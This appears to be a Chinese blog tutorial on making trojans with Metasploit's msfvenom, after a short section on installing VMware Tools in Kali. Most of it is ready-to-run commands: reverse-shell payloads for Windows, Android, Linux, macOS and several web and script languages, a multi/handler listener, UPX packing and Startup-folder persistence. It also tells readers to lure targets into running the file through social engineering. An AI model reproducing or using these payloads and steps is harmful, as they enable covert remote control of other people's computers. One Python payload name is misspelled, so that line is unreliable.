一开始想着把自己的物理主机当作靶机来执行木马,奈何发现不能从kali拖拽文件,所以先处理了下Tools的问题。
在安装Tools的时候提示CD-ROM门锁定,如果有和我一样问题的朋友可以按照我的方法来解决。
0x00 关闭kali
0x01 点击编辑此虚拟机
0x02 将此处改为使用物理驱动器
0x03 再次开启虚拟机,等开启后选择安装Tools
0x04 他会自动进行安装,进入系统后打开文件夹可以看到这个压缩文件
0x05 接下来就是花里胡哨一通安装
在安装包目录里 sudo cp VMwareTools-10.2.0-7259539.tar.gz /home 回车 把安装包VMwareTools-10.2.0-7259539.tar.gz提取到home目录。
cd /home 回车 切换到home目录,
ls
sudo tar -zxvf VMwareTools-10.2.0-7259539.tar.gz 解压安装包
ls
cd vmware-tools-distrib/
ls
sudo ./vmware-install.pl
回车后就进行安装了,安装时加载信息很多 需要输入yes/no ,一直输入yes就可以了。一直到出现 “Enjoy” 就是安装完成了。
至此文件拖拽的事就解决了,下来就是利用MSF生成木马了。
MSF生成木马
我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。
•–p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门了!!!
•–l:查看所有payload encoder nops。
•–f :输出文件格式。
•–e:编码免杀。
•–a:选择架构平台 x86 | x64 | x86_64
•–o:文件输出
•–s:生成payload的最大长度,就是文件大小。
•–b:避免使用的字符 例如:不使用 ‘\0f’。
•–i:编码次数。
•–c:添加自己的shellcode
•–x | -k:捆绑
生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.99.131 lport=8888 -f exe -o /muma/test.exe # lhost是我们的主机ip,lport是我们主机的用于监听的端口,输出位置可以自定义
可以在相应的目录下找到我们生成的exe木马
我把这个木马拖拽到我的物理机,但是在实战中就需要想办法诱导目标去触发此木马了,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。
我们返回kali 开启msfconsole控制台,执行以下命令
msf > use exploit/multi/handler #使用exploit/multi/handler监听从肉鸡发来的数据msf exploit(handler) > set payload windows/meterpreter/reverse_tcp #设置payload,不同的木马设置不同的payloadmsf exploit(handler) > set lhost 192.168.99.131 #我们的主机ipmsf exploit(handler) > set lport 8888 #我们的主机监听端口msf exploit(handler) > exploit
接下来就是等待目标触发木马了,此时我在物理机点击exe木马,立马弹回meter的会话
我们就拿到了这台主机的shell,如果想持续性控制此主机,可以将木马放在开机启动项中,只要一开机就会触发。
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
木马还可以进行upx加壳
upx -9 test.exe -k -o test2.exe
下面介绍一些生成其他格式的木马!
安卓app:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elfMac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.machoPHP:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.phpASP:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.aspASPX:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspxJSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jspBash:msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.shPerl:msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.plPythonmsfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
如果觉得《msfvenom生成木马利用》对你有帮助,请点赞、收藏,并留下你的观点哦!